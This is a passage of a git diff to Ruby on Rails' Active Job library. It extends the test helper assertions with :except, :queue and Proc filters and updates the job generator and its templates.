index a61e4f59a561c..5a4ffc70e4ba8 100644
--- a/activejob/lib/active_job/test_helper.rb
+++ b/activejob/lib/active_job/test_helper.rb
@@ -1,5 +1,7 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/class/subclasses"
-require "active_support/core_ext/hash/keys"
+require "active_support/testing/assertions"
 
 module ActiveJob
   # Provides helper methods for testing Active Job
@@ -8,6 +10,8 @@ module TestHelper
       :performed_jobs, :performed_jobs=,
       to: :queue_adapter
 
+    include ActiveSupport::Testing::Assertions
+
     module TestQueueAdapter
       extend ActiveSupport::Concern
 
@@ -30,13 +34,18 @@ def enable_test_adapter(test_adapter)
       end
     end
 
-    ActiveJob::Base.include(TestQueueAdapter)
+    ActiveSupport.on_load(:active_job) do
+      ActiveJob::Base.include(TestQueueAdapter)
+    end
 
     def before_setup # :nodoc:
-      test_adapter = queue_adapter_for_test
-
+      queue_adapter_specific_to_this_test_class = queue_adapter_for_test
       queue_adapter_changed_jobs.each do |klass|
-        klass.enable_test_adapter(test_adapter)
+        if queue_adapter_specific_to_this_test_class
+          klass.enable_test_adapter(queue_adapter_specific_to_this_test_class)
+        elsif klass._queue_adapter.nil?
+          klass.enable_test_adapter(ActiveJob::QueueAdapters::TestAdapter.new)
+        end
       end
 
       clear_enqueued_jobs
@@ -50,17 +59,11 @@ def after_teardown # :nodoc:
       queue_adapter_changed_jobs.each { |klass| klass.disable_test_adapter }
     end
 
-    # Specifies the queue adapter to use with all active job test helpers.
-    #
-    # Returns an instance of the queue adapter and defaults to
-    # <tt>ActiveJob::QueueAdapters::TestAdapter</tt>.
-    #
-    # Note: The adapter provided by this method must provide some additional
-    # methods from those expected of a standard <tt>ActiveJob::QueueAdapter</tt>
-    # in order to be used with the active job test helpers. Refer to
-    # <tt>ActiveJob::QueueAdapters::TestAdapter</tt>.
+    # Returns a queue adapter instance to use with all Active Job test helpers.
+    # By default, returns an instance of ActiveJob::QueueAdapters::TestAdapter.
+    # Override this method to specify a different adapter. The adapter must
+    # implement the same interface as ActiveJob::QueueAdapters::TestAdapter.
     def queue_adapter_for_test
-      ActiveJob::QueueAdapters::TestAdapter.new
     end
 
     # Asserts that the number of enqueued jobs matches the given number.
@@ -73,7 +76,7 @@ def queue_adapter_for_test
     #     assert_enqueued_jobs 2
     #   end
     #
-    # If a block is passed, that block will cause the specified number of
+    # If a block is passed, asserts that the block will cause the specified number of
     # jobs to be enqueued.
     #
     #   def test_jobs_again
@@ -87,7 +90,7 @@ def queue_adapter_for_test
     #     end
     #   end
     #
-    # The number of times a specific job is enqueued can be asserted.
+    # Asserts the number of times a specific job was enqueued by passing +:only+ option.
     #
     #   def test_logging_job
     #     assert_enqueued_jobs 1, only: LoggingJob do
@@ -96,7 +99,19 @@ def queue_adapter_for_test
     #     end
     #   end
     #
-    # The number of times a job is enqueued to a specific queue can also be asserted.
+    # Asserts the number of times a job except specific class was enqueued by passing +:except+ option.
+    #
+    #   def test_logging_job
+    #     assert_enqueued_jobs 1, except: HelloJob do
+    #       LoggingJob.perform_later
+    #       HelloJob.perform_later('jeremy')
+    #     end
+    #   end
+    #
+    # +:only+ and +:except+ options accept Class, Array of Class, or Proc. When passed a Proc,
+    # a hash containing the job's class and its argument are passed as argument.
+    #
+    # Asserts the number of times a job is enqueued to a specific queue by passing +:queue+ option.
     #
     #   def test_logging_job
     #     assert_enqueued_jobs 2, queue: 'default' do
@@ -104,16 +119,22 @@ def queue_adapter_for_test
     #       HelloJob.perform_later('elfassy')
     #     end
     #   end
-    def assert_enqueued_jobs(number, only: nil, queue: nil)
+    def assert_enqueued_jobs(number, only: nil, except: nil, queue: nil, &block)
+      require_active_job_test_adapter!("assert_enqueued_jobs")
+
       if block_given?
-        original_count = enqueued_jobs_size(only: only, queue: queue)
-        yield
-        new_count = enqueued_jobs_size(only: only, queue: queue)
-        assert_equal number, new_count - original_count, "#{number} jobs expected, but #{new_count - original_count} were enqueued"
+        original_jobs = enqueued_jobs_with(only: only, except: except, queue: queue)
+
+        _assert_nothing_raised_or_warn("assert_enqueued_jobs", &block)
+
+        new_jobs = enqueued_jobs_with(only: only, except: except, queue: queue)
+
+        actual_count = (new_jobs - original_jobs).count
       else
-        actual_count = enqueued_jobs_size(only: only, queue: queue)
-        assert_equal number, actual_count, "#{number} jobs expected, but #{actual_count} were enqueued"
+        actual_count = enqueued_jobs_with(only: only, except: except, queue: queue).count
       end
+
+      assert_equal number, actual_count, "#{number} jobs expected, but #{actual_count} were enqueued"
     end
 
     # Asserts that no jobs have been enqueued.
@@ -124,7 +145,7 @@ def assert_enqueued_jobs(number, only: nil, queue: nil)
     #     assert_enqueued_jobs 1
     #   end
     #
-    # If a block is passed, that block should not cause any job to be enqueued.
+    # If a block is passed, asserts that the block will not cause any job to be enqueued.
     #
     #   def test_jobs_again
     #     assert_no_enqueued_jobs do
@@ -132,7 +153,7 @@ def assert_enqueued_jobs(number, only: nil, queue: nil)
     #     end
     #   end
     #
-    # It can be asserted that no jobs of a specific kind are enqueued:
+    # Asserts that no jobs of a specific kind are enqueued by passing +:only+ option.
     #
     #   def test_no_logging
     #     assert_no_enqueued_jobs only: LoggingJob do
@@ -140,16 +161,37 @@ def assert_enqueued_jobs(number, only: nil, queue: nil)
     #     end
     #   end
     #
+    # Asserts that no jobs except specific class are enqueued by passing +:except+ option.
+    #
+    #   def test_no_logging
+    #     assert_no_enqueued_jobs except: HelloJob do
+    #       HelloJob.perform_later('jeremy')
+    #     end
+    #   end
+    #
+    # +:only+ and +:except+ options accept Class, Array of Class, or Proc. When passed a Proc,
+    # a hash containing the job's class and its argument are passed as argument.
+    #
+    # Asserts that no jobs are enqueued to a specific queue by passing +:queue+ option
+    #
+    #   def test_no_logging
+    #     assert_no_enqueued_jobs queue: 'default' do
+    #       LoggingJob.set(queue: :some_queue).perform_later
+    #     end
+    #   end
+    #
     # Note: This assertion is simply a shortcut for:
     #
     #   assert_enqueued_jobs 0, &block
-    def assert_no_enqueued_jobs(only: nil, &block)
-      assert_enqueued_jobs 0, only: only, &block
+    def assert_no_enqueued_jobs(only: nil, except: nil, queue: nil, &block)
+      require_active_job_test_adapter!("assert_no_enqueued_jobs")
+
+      assert_enqueued_jobs 0, only: only, except: except, queue: queue, &block
     end
 
     # Asserts that the number of performed jobs matches the given number.
     # If no block is passed, <tt>perform_enqueued_jobs</tt>
-    # must be called around the job call.
+    # must be called around or after the job call.
     #
     #   def test_jobs
     #     assert_performed_jobs 0
@@ -159,13 +201,14 @@ def assert_no_enqueued_jobs(only: nil, &block)
     #     end
     #     assert_performed_jobs 1
     #
-    #     perform_enqueued_jobs do
-    #       HelloJob.perform_later('yves')
-    #       assert_performed_jobs 2
-    #     end
+    #     HelloJob.perform_later('yves')
+    #
+    #     perform_enqueued_jobs
+    #
+    #     assert_performed_jobs 2
     #   end
     #
-    # If a block is passed, that block should cause the specified number of
+    # If a block is passed, asserts that the block will cause the specified number of
     # jobs to be performed.
     #
     #   def test_jobs_again
@@ -179,7 +222,7 @@ def assert_no_enqueued_jobs(only: nil, &block)
     #     end
     #   end
     #
-    # The block form supports filtering. If the :only option is specified,
+    # This method also supports filtering. If the +:only+ option is specified,
     # then only the listed job(s) will be performed.
     #
     #     def test_hello_job
@@ -189,6 +232,16 @@ def assert_no_enqueued_jobs(only: nil, &block)
     #       end
     #     end
     #
+    # Also if the +:except+ option is specified,
+    # then the job(s) except specific class will be performed.
+    #
+    #     def test_hello_job
+    #       assert_performed_jobs 1, except: LoggingJob do
+    #         HelloJob.perform_later('jeremy')
+    #         LoggingJob.perform_later
+    #       end
+    #     end
+    #
     # An array may also be specified, to support testing multiple jobs.
     #
     #     def test_hello_and_logging_jobs
@@ -200,17 +253,44 @@ def assert_no_enqueued_jobs(only: nil, &block)
     #         end
     #       end
     #     end
-    def assert_performed_jobs(number, only: nil)
+    #
+    # A proc may also be specified. When passed a Proc, the job's instance will be passed as argument.
+    #
+    #     def test_hello_and_logging_jobs
+    #       assert_nothing_raised do
+    #         assert_performed_jobs(1, only: ->(job) { job.is_a?(HelloJob) }) do
+    #           HelloJob.perform_later('jeremy')
+    #           LoggingJob.perform_later('stewie')
+    #           RescueJob.perform_later('david')
+    #         end
+    #       end
+    #     end
+    #
+    # If the +:queue+ option is specified,
+    # then only the job(s) enqueued to a specific queue will be performed.
+    #
+    #     def test_assert_performed_jobs_with_queue_option
+    #       assert_performed_jobs 1, queue: :some_queue do
+    #         HelloJob.set(queue: :some_queue).perform_later("jeremy")
+    #         HelloJob.set(queue: :other_queue).perform_later("bogdan")
+    #       end
+    #     end
+    def assert_performed_jobs(number, only: nil, except: nil, queue: nil, &block)
+      require_active_job_test_adapter!("assert_performed_jobs")
+
       if block_given?
         original_count = performed_jobs.size
-        perform_enqueued_jobs(only: only) { yield }
+
+        perform_enqueued_jobs(only: only, except: except, queue: queue, &block)
+
         new_count = performed_jobs.size
-        assert_equal number, new_count - original_count,
-          "#{number} jobs expected, but #{new_count - original_count} were performed"
+
+        performed_jobs_size = new_count - original_count
       else
-        performed_jobs_size = performed_jobs.size
-        assert_equal number, performed_jobs_size, "#{number} jobs expected, but #{performed_jobs_size} were performed"
+        performed_jobs_size = performed_jobs_with(only: only, except: except, queue: queue).count
       end
+
+      assert_equal number, performed_jobs_size, "#{number} jobs expected, but #{performed_jobs_size} were performed"
     end
 
     # Asserts that no jobs have been performed.
@@ -224,7 +304,7 @@ def assert_performed_jobs(number, only: nil)
     #     end
     #   end
     #
-    # If a block is passed, that block should not cause any job to be performed.
+    # If a block is passed, asserts that the block will not cause any job to be performed.
     #
     #   def test_jobs_again
     #     assert_no_performed_jobs do
@@ -232,7 +312,7 @@ def assert_performed_jobs(number, only: nil)
     #     end
     #   end
     #
-    # The block form supports filtering. If the :only option is specified,
+    # The block form supports filtering. If the +:only+ option is specified,
     # then only the listed job(s) will not be performed.
     #
     #   def test_no_logging
@@ -241,17 +321,81 @@ def assert_performed_jobs(number, only: nil)
     #     end
     #   end
     #
+    # Also if the +:except+ option is specified,
+    # then the job(s) except specific class will not be performed.
+    #
+    #   def test_no_logging
+    #     assert_no_performed_jobs except: HelloJob do
+    #       HelloJob.perform_later('jeremy')
+    #     end
+    #   end
+    #
+    # +:only+ and +:except+ options accept Class, Array of Class, or Proc. When passed a Proc,
+    # an instance of the job will be passed as argument.
+    #
+    # If the +:queue+ option is specified,
+    # then only the job(s) enqueued to a specific queue will not be performed.
+    #
+    #   def test_assert_no_performed_jobs_with_queue_option
+    #     assert_no_performed_jobs queue: :some_queue do
+    #       HelloJob.set(queue: :other_queue).perform_later("jeremy")
+    #     end
+    #   end
+    #
     # Note: This assertion is simply a shortcut for:
     #
     #   assert_performed_jobs 0, &block
-    def assert_no_performed_jobs(only: nil, &block)
-      assert_performed_jobs 0, only: only, &block
+    def assert_no_performed_jobs(only: nil, except: nil, queue: nil, &block)
+      require_active_job_test_adapter!("assert_no_performed_jobs")
+
+      assert_performed_jobs 0, only: only, except: except, queue: queue, &block
     end
 
-    # Asserts that the job passed in the block has been enqueued with the given arguments.
+    # Asserts that the job has been enqueued with the given arguments.
+    #
+    #   def test_assert_enqueued_with
+    #     MyJob.perform_later(1,2,3)
+    #     assert_enqueued_with(job: MyJob, args: [1,2,3])
+    #
+    #     MyJob.set(wait_until: Date.tomorrow.noon, queue: "my_queue").perform_later
+    #     assert_enqueued_with(at: Date.tomorrow.noon, queue: "my_queue")
+    #   end
+    #
+    # For keyword arguments, specify them as a hash inside an array:
+    #
+    #   def test_assert_enqueued_with_keyword_arguments
+    #     MyJob.perform_later(arg1: 'value1', arg2: 'value2')
+    #     assert_enqueued_with(job: MyJob, args: [{ arg1: 'value1', arg2: 'value2' }])
+    #   end
+    #
+    # The given arguments may also be specified as matcher procs that return a
+    # boolean value indicating whether a job's attribute meets certain criteria.
+    #
+    # For example, a proc can be used to match a range of times:
+    #
+    #   def test_assert_enqueued_with
+    #     at_matcher = ->(job_at) { (Date.yesterday..Date.tomorrow).cover?(job_at) }
+    #
+    #     MyJob.set(wait_until: Date.today.noon).perform_later
+    #
+    #     assert_enqueued_with(job: MyJob, at: at_matcher)
+    #   end
+    #
+    # A proc can also be used to match a subset of a job's args:
+    #
+    #   def test_assert_enqueued_with
+    #     args_matcher = ->(job_args) { job_args[0].key?(:foo) }
+    #
+    #     MyJob.perform_later(foo: "bar", other_arg: "No need to check in the test")
+    #
+    #     assert_enqueued_with(job: MyJob, args: args_matcher)
+    #   end
+    #
+    # If a block is passed, asserts that the block will cause the job to be
+    # enqueued with the given arguments.
     #
     #   def test_assert_enqueued_with
-    #     assert_enqueued_with(job: MyJob, args: [1,2,3], queue: 'low') do
+    #     assert_enqueued_with(job: MyJob, args: [1,2,3]) do
     #       MyJob.perform_later(1,2,3)
     #     end
     #
@@ -259,23 +403,103 @@ def assert_no_performed_jobs(only: nil, &block)
     #       MyJob.set(wait_until: Date.tomorrow.noon).perform_later
     #     end
     #   end
-    def assert_enqueued_with(job: nil, args: nil, at: nil, queue: nil)
-      original_enqueued_jobs_count = enqueued_jobs.count
-      expected = { job: job, args: args, at: at, queue: queue }.compact
-      serialized_args = serialize_args_for_assertion(expected)
-      yield
-      in_block_jobs = enqueued_jobs.drop(original_enqueued_jobs_count)
-      matching_job = in_block_jobs.find do |in_block_job|
-        serialized_args.all? { |key, value| value == in_block_job[key] }
+    def assert_enqueued_with(job: nil, args: nil, at: nil, queue: nil, priority: nil, &block)
+      require_active_job_test_adapter!("assert_enqueued_with")
+
+      expected = { job: job, args: args, at: at, queue: queue, priority: priority }.compact
+      expected_args = prepare_args_for_assertion(expected)
+      potential_matches = []
+
+      if block_given?
+        original_enqueued_jobs = enqueued_jobs.dup
+
+        _assert_nothing_raised_or_warn("assert_enqueued_with", &block)
+
+        jobs = enqueued_jobs - original_enqueued_jobs
+      else
+        jobs = enqueued_jobs
+      end
+
+      matching_job = jobs.find do |enqueued_job|
+        deserialized_job = deserialize_args_for_assertion(enqueued_job)
+        potential_matches << deserialized_job
+
+        expected_args.all? do |key, value|
+          if value.respond_to?(:call)
+            value.call(deserialized_job[key])
+          else
+            value == deserialized_job[key]
+          end
+        end
+      end
+
+      matching_class = potential_matches.select do |enqueued_job|
+        enqueued_job["job_class"] == job.to_s
+      end
+
+      message = +"No enqueued job found with #{expected}"
+      if potential_matches.empty?
+        message << "\n\nNo jobs were enqueued"
+      elsif matching_class.empty?
+        message << "\n\nNo jobs of class #{expected[:job]} were enqueued, job classes enqueued: "
+        message << potential_matches.map { |job| job["job_class"] }.join(", ")
+      else
+        message << "\n\nPotential matches: #{matching_class.join("\n")}"
       end
-      assert matching_job, "No enqueued job found with #{expected}"
+
+      assert matching_job, message
       instantiate_job(matching_job)
     end
 
-    # Asserts that the job passed in the block has been performed with the given arguments.
+    # Asserts that the job has been performed with the given arguments.
     #
     #   def test_assert_performed_with
-    #     assert_performed_with(job: MyJob, args: [1,2,3], queue: 'high') do
+    #     MyJob.perform_later(1,2,3)
+    #
+    #     perform_enqueued_jobs
+    #
+    #     assert_performed_with(job: MyJob, args: [1,2,3])
+    #
+    #     MyJob.set(wait_until: Date.tomorrow.noon, queue: "my_queue").perform_later
+    #
+    #     perform_enqueued_jobs
+    #
+    #     assert_performed_with(at: Date.tomorrow.noon, queue: "my_queue")
+    #   end
+    #
+    # The given arguments may also be specified as matcher procs that return a
+    # boolean value indicating whether a job's attribute meets certain criteria.
+    #
+    # For example, a proc can be used to match a range of times:
+    #
+    #   def test_assert_performed_with
+    #     at_matcher = ->(job_at) { (Date.yesterday..Date.tomorrow).cover?(job_at) }
+    #
+    #     MyJob.set(wait_until: Date.today.noon).perform_later
+    #
+    #     perform_enqueued_jobs
+    #
+    #     assert_performed_with(job: MyJob, at: at_matcher)
+    #   end
+    #
+    # A proc can also be used to match a subset of a job's args:
+    #
+    #   def test_assert_performed_with
+    #     args_matcher = ->(job_args) { job_args[0].key?(:foo) }
+    #
+    #     MyJob.perform_later(foo: "bar", other_arg: "No need to check in the test")
+    #
+    #     perform_enqueued_jobs
+    #
+    #     assert_performed_with(job: MyJob, args: args_matcher)
+    #   end
+    #
+    # If a block is passed, that block performs all of the jobs that were
+    # enqueued throughout the duration of the block and asserts that
+    # the job has been performed with the given arguments in the block.
+    #
+    #   def test_assert_performed_with
+    #     assert_performed_with(job: MyJob, args: [1,2,3]) do
     #       MyJob.perform_later(1,2,3)
     #     end
     #
@@ -283,20 +507,58 @@ def assert_enqueued_with(job: nil, args: nil, at: nil, queue: nil)
     #       MyJob.set(wait_until: Date.tomorrow.noon).perform_later
     #     end
     #   end
-    def assert_performed_with(job: nil, args: nil, at: nil, queue: nil)
-      original_performed_jobs_count = performed_jobs.count
-      expected = { job: job, args: args, at: at, queue: queue }.compact
-      serialized_args = serialize_args_for_assertion(expected)
-      perform_enqueued_jobs { yield }
-      in_block_jobs = performed_jobs.drop(original_performed_jobs_count)
-      matching_job = in_block_jobs.find do |in_block_job|
-        serialized_args.all? { |key, value| value == in_block_job[key] }
+    def assert_performed_with(job: nil, args: nil, at: nil, queue: nil, priority: nil, &block)
+      require_active_job_test_adapter!("assert_performed_with")
+
+      expected = { job: job, args: args, at: at, queue: queue, priority: priority }.compact
+      expected_args = prepare_args_for_assertion(expected)
+      potential_matches = []
+
+      if block_given?
+        original_performed_jobs_count = performed_jobs.count
+
+        perform_enqueued_jobs(&block)
+
+        jobs = performed_jobs.drop(original_performed_jobs_count)
+      else
+        jobs = performed_jobs
+      end
+
+      matching_job = jobs.find do |enqueued_job|
+        deserialized_job = deserialize_args_for_assertion(enqueued_job)
+        potential_matches << deserialized_job
+
+        expected_args.all? do |key, value|
+          if value.respond_to?(:call)
+            value.call(deserialized_job[key])
+          else
+            value == deserialized_job[key]
+          end
+        end
       end
-      assert matching_job, "No performed job found with #{expected}"
+
+      matching_class = potential_matches.select do |enqueued_job|
+        enqueued_job["job_class"] == job.to_s
+      end
+
+      message = +"No performed job found with #{expected}"
+      if potential_matches.empty?
+        message << "\n\nNo jobs were performed"
+      elsif matching_class.empty?
+        message << "\n\nNo jobs of class #{expected[:job]} were performed, job classes performed: "
+        message << potential_matches.map { |job| job["job_class"] }.join(", ")
+      else
+        message << "\n\nPotential matches: #{matching_class.join("\n")}"
+      end
+
+      assert matching_job, message
+
       instantiate_job(matching_job)
     end
 
-    # Performs all enqueued jobs in the duration of the block.
+    # Performs all enqueued jobs. If a block is given, performs all of the jobs
+    # that were enqueued throughout the duration of the block. If a block is
+    # not given, performs all of the enqueued jobs up to this point in the test.
     #
     #   def test_perform_enqueued_jobs
     #     perform_enqueued_jobs do
@@ -305,6 +567,14 @@ def assert_performed_with(job: nil, args: nil, at: nil, queue: nil)
     #     assert_performed_jobs 1
     #   end
     #
+    #   def test_perform_enqueued_jobs_without_block
+    #     MyJob.perform_later(1, 2, 3)
+    #
+    #     perform_enqueued_jobs
+    #
+    #     assert_performed_jobs 1
+    #   end
+    #
     # This method also supports filtering. If the +:only+ option is specified,
     # then only the listed job(s) will be performed.
     #
@@ -315,20 +585,71 @@ def assert_performed_with(job: nil, args: nil, at: nil, queue: nil)
     #     end
     #     assert_performed_jobs 1
     #   end
-    def perform_enqueued_jobs(only: nil)
+    #
+    # Also if the +:except+ option is specified,
+    # then the job(s) except specific class will be performed.
+    #
+    #   def test_perform_enqueued_jobs_with_except
+    #     perform_enqueued_jobs(except: HelloJob) do
+    #       MyJob.perform_later(1, 2, 3) # will be performed
+    #       HelloJob.perform_later(1, 2, 3) # will not be performed
+    #     end
+    #     assert_performed_jobs 1
+    #   end
+    #
+    # +:only+ and +:except+ options accept Class, Array of Class, or Proc. When passed a Proc,
+    # an instance of the job will be passed as argument.
+    #
+    # If the +:queue+ option is specified,
+    # then only the job(s) enqueued to a specific queue will be performed.
+    #
+    #   def test_perform_enqueued_jobs_with_queue
+    #     perform_enqueued_jobs queue: :some_queue do
+    #       MyJob.set(queue: :some_queue).perform_later(1, 2, 3) # will be performed
+    #       HelloJob.set(queue: :other_queue).perform_later(1, 2, 3) # will not be performed
+    #     end
+    #     assert_performed_jobs 1
+    #   end
+    #
+    # If the +:at+ option is specified, then only jobs that have been enqueued
+    # to run at or before the given time will be performed. This includes jobs
+    # that have been enqueued without a time.
+    #
+    # If queue_adapter_for_test is overridden to return a different adapter,
+    # +perform_enqueued_jobs+ will merely execute the block.
+    def perform_enqueued_jobs(only: nil, except: nil, queue: nil, at: nil, &block)
+      unless block_given?
+        require_active_job_test_adapter!("perform_enqueued_jobs (without a block)")
+        return flush_enqueued_jobs(only: only, except: except, queue: queue, at: at)
+      end
+
+      return _assert_nothing_raised_or_warn("perform_enqueued_jobs", &block) unless using_test_adapter?
+
+      validate_option(only: only, except: except)
+
       old_perform_enqueued_jobs = queue_adapter.perform_enqueued_jobs
       old_perform_enqueued_at_jobs = queue_adapter.perform_enqueued_at_jobs
       old_filter = queue_adapter.filter
+      old_reject = queue_adapter.reject
+      old_queue = queue_adapter.queue
+      old_at = queue_adapter.at
 
       begin
         queue_adapter.perform_enqueued_jobs = true
         queue_adapter.perform_enqueued_at_jobs = true
         queue_adapter.filter = only
-        yield
+        queue_adapter.reject = except
+        queue_adapter.queue = queue
+        queue_adapter.at = at
+
+        _assert_nothing_raised_or_warn("perform_enqueued_jobs", &block)
       ensure
         queue_adapter.perform_enqueued_jobs = old_perform_enqueued_jobs
         queue_adapter.perform_enqueued_at_jobs = old_perform_enqueued_at_jobs
         queue_adapter.filter = old_filter
+        queue_adapter.reject = old_reject
+        queue_adapter.queue = old_queue
+        queue_adapter.at = old_at
       end
     end
 
@@ -342,38 +663,96 @@ def queue_adapter
     end
 
     private
+      def require_active_job_test_adapter!(method)
+        unless using_test_adapter?
+          raise ArgumentError.new("#{method} requires the Active Job test adapter, you're using #{queue_adapter.class.name}.")
+        end
+      end
+
+      def using_test_adapter?
+        queue_adapter.is_a?(ActiveJob::QueueAdapters::TestAdapter)
+      end
+
       def clear_enqueued_jobs
-        enqueued_jobs.clear
+        enqueued_jobs.clear if using_test_adapter?
       end
 
       def clear_performed_jobs
-        performed_jobs.clear
+        performed_jobs.clear if using_test_adapter?
       end
 
-      def enqueued_jobs_size(only: nil, queue: nil)
-        enqueued_jobs.count do |job|
+      def jobs_with(jobs, only: nil, except: nil, queue: nil, at: nil)
+        validate_option(only: only, except: except)
+
+        jobs.dup.select do |job|
           job_class = job.fetch(:job)
+
           if only
-            next false unless Array(only).include?(job_class)
+            next false unless filter_as_proc(only).call(job)
+          elsif except
+            next false if filter_as_proc(except).call(job)
           end
+
           if queue
             next false unless queue.to_s == job.fetch(:queue, job_class.queue_name)
           end
+
+          if at && job[:at]
+            next false if job[:at] > at.to_f
+          end
+
+          yield job if block_given?
+
           true
         end
       end
 
-      def serialize_args_for_assertion(args)
-        args.dup.tap do |serialized_args|
-          serialized_args[:args] = ActiveJob::Arguments.serialize(serialized_args[:args]) if serialized_args[:args]
-          serialized_args[:at]   = serialized_args[:at].to_f if serialized_args[:at]
+      def filter_as_proc(filter)
+        return filter if filter.is_a?(Proc)
+
+        ->(job) { Array(filter).include?(job.fetch(:job)) }
+      end
+
+      def enqueued_jobs_with(only: nil, except: nil, queue: nil, at: nil, &block)
+        jobs_with(enqueued_jobs, only: only, except: except, queue: queue, at: at, &block)
+      end
+
+      def performed_jobs_with(only: nil, except: nil, queue: nil, &block)
+        jobs_with(performed_jobs, only: only, except: except, queue: queue, &block)
+      end
+
+      def flush_enqueued_jobs(only: nil, except: nil, queue: nil, at: nil)
+        enqueued_jobs_with(only: only, except: except, queue: queue, at: at) do |payload|
+          queue_adapter.enqueued_jobs.delete(payload)
+          queue_adapter.performed_jobs << payload
+          instantiate_job(payload, skip_deserialize_arguments: true).perform_now
+        end.count
+      end
+
+      def prepare_args_for_assertion(args)
+        args.dup.tap do |arguments|
+          if arguments[:queue].is_a?(Symbol)
+            arguments[:queue] = arguments[:queue].to_s
+          end
+
+          if arguments[:at].acts_like?(:time)
+            at_range = arguments[:at] - 1..arguments[:at] + 1
+            arguments[:at] = ->(at) { at_range.cover?(at) }
+          end
+        end
+      end
+
+      def deserialize_args_for_assertion(job)
+        job.dup.tap do |new_job|
+          new_job[:at] = Time.at(new_job[:at]) if new_job[:at]
+          new_job[:args] = ActiveJob::Arguments.deserialize(new_job[:args]) if new_job[:args]
         end
       end
 
-      def instantiate_job(payload)
-        job = payload[:job].new(*payload[:args])
+      def instantiate_job(payload, skip_deserialize_arguments: false)
+        job = payload[:job].deserialize(payload)
         job.scheduled_at = Time.at(payload[:at]) if payload.key?(:at)
-        job.queue_name = payload[:queue]
+        job.send(:deserialize_arguments_if_needed) unless skip_deserialize_arguments
         job
       end
 
@@ -383,5 +762,9 @@ def queue_adapter_changed_jobs
           klass.singleton_class.public_instance_methods(false).include?(:_queue_adapter)
         end
       end
+
+      def validate_option(only: nil, except: nil)
+        raise ArgumentError, "Cannot specify both `:only` and `:except` options." if only && except
+      end
   end
 end
diff --git a/activejob/lib/active_job/translation.rb b/activejob/lib/active_job/translation.rb
deleted file mode 100644
index 67e4cf4ab9716..0000000000000
--- a/activejob/lib/active_job/translation.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-module ActiveJob
-  module Translation #:nodoc:
-    extend ActiveSupport::Concern
-
-    included do
-      around_perform do |job, block, _|
-        I18n.with_locale(job.locale, &block)
-      end
-    end
-  end
-end
diff --git a/activejob/lib/active_job/version.rb b/activejob/lib/active_job/version.rb
index 60b463817f2b2..baa844bbebdda 100644
--- a/activejob/lib/active_job/version.rb
+++ b/activejob/lib/active_job/version.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 require_relative "gem_version"
 
 module ActiveJob
-  # Returns the version of the currently loaded Active Job as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of Active Job as a +Gem::Version+.
   def self.version
     gem_version
   end
diff --git a/activejob/lib/rails/generators/job/USAGE b/activejob/lib/rails/generators/job/USAGE
new file mode 100644
index 0000000000000..41f8e4468c23b
--- /dev/null
+++ b/activejob/lib/rails/generators/job/USAGE
@@ -0,0 +1,19 @@
+Description:
+    Generates a new job. Pass the job name, either CamelCased or
+    under_scored, with or without the job postfix.
+
+Examples:
+    `bin/rails generate job checkout`
+
+      Creates the following files:
+
+        Job:   app/jobs/checkout_job.rb
+        Test:  test/jobs/checkout_job_test.rb
+
+    `bin/rails generate job send_sms --queue=sms`
+
+      Creates a job and test with a custom sms queue.
+
+    `bin/rails generate job process_payment --parent=payment_job`
+
+      Creates a job and test with a `PaymentJob` parent class.
diff --git a/activejob/lib/rails/generators/job/job_generator.rb b/activejob/lib/rails/generators/job/job_generator.rb
index 50476a2e509c9..b08c097ea8878 100644
--- a/activejob/lib/rails/generators/job/job_generator.rb
+++ b/activejob/lib/rails/generators/job/job_generator.rb
@@ -1,18 +1,20 @@
+# frozen_string_literal: true
+
 require "rails/generators/named_base"
 
 module Rails # :nodoc:
   module Generators # :nodoc:
     class JobGenerator < Rails::Generators::NamedBase # :nodoc:
-      desc "This generator creates an active job file at app/jobs"
-
       class_option :queue, type: :string, default: "default", desc: "The queue name for the generated job"
 
+      class_option :parent, type: :string, default: "ApplicationJob", desc: "The parent class for the generated job"
+
       check_class_collision suffix: "Job"
 
       hook_for :test_framework
 
       def self.default_generator_root
-        File.dirname(__FILE__)
+        __dir__
       end
 
       def create_job_file
@@ -26,6 +28,14 @@ def create_job_file
       end
 
       private
+        def parent_class_name
+          options[:parent]
+        end
+
+        def file_name
+          @_file_name ||= super.sub(/_job\z/i, "")
+        end
+
         def application_job_file_name
           @application_job_file_name ||= if mountable_engine?
             "app/jobs/#{namespaced_path}/application_job.rb"
diff --git a/activejob/lib/rails/generators/job/templates/application_job.rb b/activejob/lib/rails/generators/job/templates/application_job.rb.tt
similarity index 100%
rename from activejob/lib/rails/generators/job/templates/application_job.rb
rename to activejob/lib/rails/generators/job/templates/application_job.rb.tt
diff --git a/activejob/lib/rails/generators/job/templates/job.rb b/activejob/lib/rails/generators/job/templates/job.rb
deleted file mode 100644
index 4ad2914a45a85..0000000000000
--- a/activejob/lib/rails/generators/job/templates/job.rb
+++ /dev/null
@@ -1,9 +0,0 @@
-<% module_namespacing do -%>
-class <%= class_name %>Job < ApplicationJob
-  queue_as :<%= options[:queue] %>
-
-  def perform(*args)
-    # Do something later
-  end
-end
-<% end -%>
diff --git a/activejob/lib/rails/generators/job/templates/job.rb.tt b/activejob/lib/rails/generators/job/templates/job.rb.tt
new file mode 100644
index 0000000000000..196f229d10595
--- /dev/null
+++ b/activejob/lib/rails/generators/job/templates/job.rb.tt
@@ -0,0 +1,9 @@
+<% module_namespacing do -%>
+class <%= class_name %>Job < <%= parent_class_name.classify %>
+  queue_as :<%= options[:queue] %>
+
+  def perform(*args)
+    # Do something later
+  end
+end
+<% end -%>
diff --git a/activejob/test/adapters/async.rb b/activejob/test/adapters/async.rb
index 08eb9658cd7e6..a4fed7c2f7073 100644
--- a/activejob/test/adapters/async.rb
+++ b/activejob/test/adapters/async.rb
@@ -1,2 +1,4 @@
+# frozen_string_literal: true
+
 ActiveJob::Base.queue_adapter = :async
 ActiveJob::Base.queue_adapter.immediate = true
diff --git a/activejob/test/adapters/backburner.rb b/activejob/test/adapters/backburner.rb
index 17ba07b802030..bc34c78e9c748 100644
--- a/activejob/test/adapters/backburner.rb
+++ b/activejob/test/adapters/backburner.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "support/backburner/inline"
 
 ActiveJob::Base.queue_adapter = :backburner
diff --git a/activejob/test/adapters/delayed_job.rb b/activejob/test/adapters/delayed_job.rb
index 5f0ee2418cd62..e6c18a8bdb09c 100644
--- a/activejob/test/adapters/delayed_job.rb
